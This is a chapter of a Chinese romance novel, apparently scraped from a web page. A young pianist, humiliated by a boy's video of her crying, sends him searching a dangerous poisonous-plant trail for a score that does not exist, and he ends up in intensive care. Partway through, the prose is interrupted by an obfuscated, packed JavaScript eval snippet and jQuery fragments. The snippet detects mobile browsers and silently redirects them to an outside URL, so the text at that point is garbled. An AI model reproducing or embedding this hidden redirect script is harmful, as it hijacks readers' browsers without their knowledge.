那是个异常炎热的盛夏,热到全城的人见了面,第一句话都从“吃了吗”换成“太热了”。对于宋存而言,寒暑假一向是集训的时间,她要去上大师课,倒是没怎么感受到。
8月初短暂回了次家,听见章舒窈在念叨,因为天气太热,学校提早放了假,即将小升初的白放取消了补习班,天天在院子里撒欢。
老妈不放心,怕他中考成绩太差,特意请了老师在家里,利用最热的中午给他补课。
晚上经常下暴雨,空气中水分重,太阳一出来,闷得人容易中暑,家长都不允许孩子下午出门。到了晚上,又怕大家胡闹,大院里就自发地在组织些活动。
要说这些活动,也不是这个夏天才有的,宋存没学琴之前就参加过几次。学琴以后,时间和大多数同龄人对不上,几乎也就不参加了。
这一次凑巧,她在老妈和白放的怂恿下,准备去看看。
活动在大院改建的小礼堂里。小礼堂规格不大,布置得跟个公开课课堂一样,能容纳二、三十个人,有时外面下雨,还会在里面放放电影。当然,里面最多的活动,就是听老革命们讲故事、上党课。
宋存到了才知道,老妈让她来,是因为她最近在家闷闷不乐的,而白放让她来,是因为今天的主讲人是他列哥。
他故意嘚瑟的。
宋存坐到了最后排的角落处,目光落到白墙的横幅上,“为中华之崛起而读书,做共产主义接班人”。横幅常年挂着,下边缘处厚薄不均,有些透光,上面的字依旧清晰可见,就像昨日才写。
她翻着抽屉里的红色语录,看见白放一蹦一跳地走到主席台前和正在做准备的言列打招呼。那小子说了,他今天要坐第一排,好好听他列哥讲课。
灯光一灭,四周安静下来。
宋存一手支着头,一手在桌面上无意识地打节拍,有一茬没一茬地听着。他讲的是气象相关科普,播放的图片和影像资料都是实地拍摄,
看起来像是他自己拍摄的,讲起来头头是道,又不像课本上那样枯燥。
音乐附中没那么重视文化课,只学最主要的语数外,她已经很久没听到这样有趣的科普公开课了,纵然只放了半只耳朵,也听进去不少。
言列的视线扫向了后排,她故意低下了头,避免碰上。
再抬头时,他已经移向了别处。还好白放那小子坐第一排去了,否则被他看见还得了。
这就是那小子想达到的效果吧。
科普的最后,要放一段视频,是他这些年拍摄的雷电合集。
全场屏息凝神,静候着这最后的彩蛋,宋存依旧是支着脑袋,目光跟着大伙儿落在宽大的幕布上。
视频黑幕了十几秒,被一道闪电劈开,紧接着是持续低沉的轰隆声。
镜头跌落式地下移,扫过屋檐的角落,毫无预兆地落在一张脸上。这张脸因为哭泣而扭曲成一团,鼻涕眼泪混杂着,像一张揉皱的卫生纸。
宋存脑子里“嗡”地一声炸开,全身僵硬地像是被倒了模,连呼吸都被关闭,指节因为用力而发白。
周围开始窸窸窣窣,不约而同的目光,像无数根细小的针,扎在她的身上
不要在意,更不要破防,否则他会更得意的。
她警告着自己保持最后的体面。
她不知道自己怎么走出的那间礼堂,更不知道他为什么要拍她哭的场面,那么丑陋,那么声嘶力竭,那么....不像她。
他们之间的关系是算不上好,但这样的行为幼稚又可恶!
那段时间她接连在两个比赛上失利,手也疼、曲子也练得不顺利,她不可以找个没人的地方痛哭一场吗?不可以抱怨抱怨吗?
为什么要看她的笑话,还这样无所顾忌地公之于众。有这么好笑吗?还是这就是他早就准备好的阴谋,就是要让她难堪。
那他应该达到目的了,刚刚大家都在讨论宋存输不起。她就是输不起,他彻底赢了。
这一刻对言列的讨厌,达到了顶峰。
她再也不会原谅这个人了,他踩碎了她的骄傲与自尊,她永远不会原谅他了。
对于暴露野心而带来的羞耻感,十几岁的她无法自我疏解,一连半个月都在做噩梦,梦见在滂沱大雨里,淋成个落汤鸡;梦见剃了光头去学校,被老师同学嘲笑;梦见在聚光灯下,所有人鼓着掌,在给她喝倒彩。
有时是早上、有时是午间,还有时不知道是夜里几点,每每从这样的梦中惊醒,她都会想到那天在礼堂的画面。
那个暑假的后半段,她不敢在家里练琴,要么去学校要么去琴房,不想和任何人类见面。。
那时的她,在自我表达和社会认同之间失去了平衡。
在这期间,她碰见过言列两次。他拦住她,要给她道歉,但她一句也不想听,看见他只会让她生理性反感。
她只想让他快点消失。
彻底消失了,或许就能让她忘掉这件事。
她找不到一个合适的方法来惩罚他。吵一架吗?打一顿吗?或者是让他也像视频里那样又哭又闹?那都不可能了,再也不可能了。
从那以后,每次想哭,她都会把脸捂在被子里,不发出一丁点声音。
在那个暑假的尾声,她终于想到一个惩罚他的方法,她也要让他在自己擅长的事情里,撞得头破血流,颜面扫地。
她把消息透露给白放,说自己哪天哪天要去爬山。因为那个人一直心怀愧疚想和她单独聊聊,所以她断定,如果他得知这个消息,大概率会去找她。
她不要他的道歉,她要的是他受到惩罚。
隔周的山脚下,她发现了等在那的言列。
按照一早的计划,她说出自己昨天来的时候,掉了一本黑色的琴谱,很重要,需要立刻找到。
言列深信不疑,可能在他的认识里,如果能先一步找到那本琴谱,就有了将功折罪的筹码。
然而,没有那本琴谱,他永远也找不到。
炎炎烈日,汗水从蒸气到凝聚成滴,不过须臾之间。
言列穿了件黑色的短袖,她走在他身后,看见他挺阔的后背析出一片白色的盐粒。宋存也好不到哪去,热得晕头转向,听他声音都像在热水里煮过一遍,再捞起来。
按照预先设定的路线,两人一路寻找,行至一条岔路时,她低头看了看表,说已经四点了,要分头去找。
言列眯着眼睛,望了望天告诉她,“晚上会有暴雨,还是一起走吧。”
然而这有悖她的计划,宋存满不在乎地点头,“那你先走吧,我自己找。”这一招以退为进,果然奏效,他同意了她的提议。
宋存指了条路给他,“你走这边,我走这边。”
他看了眼指示牌,提醒她,“你走那条路有红色的禁止标志,有危险不要去。”不是不可以探险,只是这样赤手空拳的,太过冒险。
更何况还是个白白嫩嫩的女孩子。
宋存好整以暇地看着他,像是看个笑话,“我昨天才走过,没什么问题,大概率是落在里面了,我在一个树桩上翻过,走的时候或许没带走。”她不知道这个谎话有没有自圆其说,反正他皱着的眉头,一动不动。
言列盯了她一阵儿,缓缓道,“告诉我是什么样的树桩,你走这边,我去这条路找。”
一开始的时候他想着原原本本给她解释事情的经过,再道个歉。前一天晚上视频剪辑到太晚,没想到最后居然弄混了。
可是她应该也无法理解他为什么会拍这样的视频。
哎.....这样的解释苍白而无力,恐怕只会让她觉得更嗤之以鼻。
料想过是这样的结局,当他真的说出口时,宋存既紧张又兴奋,还带着一丝隐隐的不安。她囫囵说了一通,言列没怀疑,说他知道了。
两个人分好了路线,看着他远去的背影,她又叫住了他,“诶,你找不到就早点回家,那是我的东西,不是你的,和你没什么关系。”
或许就是这句话,激发了他的胜负欲。
看着他裸露的小腿没入丛林中,宋存优哉游哉地在路边喝起了水。
那条路她确实去过,不过不是昨天,而是两年前,和舅舅一起去的。舅舅在大学教植物学,时常会去采摘标本,她有时会跟着一起。
那一次的体验非常不好,她是被舅舅背出来的。因为里面有很多毒性植物,她不小心被蛰了手背,不过几分钟就肿成了猪蹄。
舅舅说她不熟悉这些植物的特性,哪哪都想摸一下,才会酿成惨案,他就不一样,一点事没有。
因为白放总说他什么都认识,还能徒手制蛇,所以她倒是要看看,在他引以为傲的领地里,他有没有本事从里面全身而退。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899293|171083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>最好是蛰成个猪头,在学校里游街示众一周。然后她再随便拿出本琴谱给他看,说自己在另一条路上找到了。
想到这里心里舒坦了不少。
宋存坐在石阶上,开开心心地喝水。
背包里的手机震动,是钢琴老师来的电话。
宋存接起后被告知,因为过两天的演出,主办方临时邀请到一位德裔钢琴家加盟,还在演出前开设了一场不对外的公开课,一共只有三个名额,学校争取到一个,自然是给作为演出嘉宾的她。
行程有变,她们要改签今晚的飞机出国,让她抓紧时间准备。这位钢琴家擅长的技巧刚好契合她现阶段的短板,老师认为很有必要去参加。
宋存不敢怠慢,连忙给家里打了个电话,让老妈帮着准备出行的东西。路过警示牌时,她握着手机,踟蹰不前。
刚刚已经翻了通讯录,她没有他的电话。进去找他的话,找不找得到不好说,怕是会延误了行程。
毕竟里面有多大,她也不知道,她还没走半个小时,就被人背了出来。
想着他找不到或者发现被玩弄以后,应该会自己走掉,于是她直接走了。
这一走,就消失了17个小时。她和言列就此断了联系。
飞机落地是国内的凌晨2点多,已经过去了一整个夜晚和大半个白天。
她被马不停蹄安排了其他事,真正打上电话已经距离她和言列见面,超过了40个小时。
在酒店里辗转反侧的,顾不得国内的天才蒙蒙亮,她直接把白放从床上撬了起来。这小子带着起床气,语气也冲得不行。
“真的真的,我没见着他,他被他妈妈接走了。”
“接哪去了,我怎么知道,列哥是喜欢我,但是也没爱到寸步不离的地步,你找他到底什么事啊?”
“既然没什么事。那就别打扰我睡觉,要不我把他电话给你?你自己问问?”
“听谁说的,我听黎叔说的啊,列哥的司机,昨晚碰到他急急忙忙回来拿东西,就说了呗。”
“行行行,那我再去打听打听,你放了我吧,你就安心弹琴吧。”
以上就是白放的回答。
挂了电话,她还是不放心,捏着手机在房间里转了半圈,又把电话打给老爸。本来以为老爸不会接的,刚响了两声就传出了声音。
“怎么了,送送。”宋仁杰波澜不惊的语调,给她注入了一针强心剂。
应该没事的吧,要是有什么事,可以告诉爸爸吧。
“....爸爸。”
“嗯,演出不顺利吗?”
“不是,”她咬着唇摇头,“还没开始呢。”
“有其他事?”宋仁杰其实已经紧张了,要不是天大的事,女儿不会这个时间给他打电话,但是她能打电话,说话也算清楚,起码暂时是安全的,怕她被挟持,他不敢随便问询。
他一手接着电话,另一手已经拿起了座机的听筒,方便最快时间拨给秘书,让他与大使馆联系,天高皇帝远的,她需要最快的照应。
“没有没有,我没事。”她说,“我就是想告诉爸爸,我前两天去了趟淮山公园...那一片爬了山,没...没出什么事吧。”
宋仁杰听到这个地名,心下一紧。这一句太没头没尾了,让他顷刻间联想到另一件事。昨天下午,言老爷子亲自来了个电话,让他帮着找个人。以言家的能力,找个人不算难事,让他出面,无非是情况太紧迫。
于是他立刻做了安排。
昨晚睡觉前才得了回复,人已经找到了,正在ICU抢救。
她这么一问,他就知道了,与她有关。
“没事啊。”宋仁杰快速作了决定,“能有什么事,有爸爸在呢,你安心演出。”
“嗯,那爸爸...早安。”
“晚安,送送。”
挂掉电话,宋仁杰一刻不停地打给司机,让他来接,他有要事要立马出去。随后又打电话给李秘书,让他推掉今早的会议。
他掏出根烟,又去挂着的西服口袋里摸出打火机,两下点着。他基本不在家抽烟,此刻却等不到走向阳台了。
卧室里传来了动静,是章舒窈起身的声音,他快速将烟掐灭在砚台上,挥掉烟雾,不动声色地关上了书房的门。
事已至此,他只能选择做一个自私的父亲。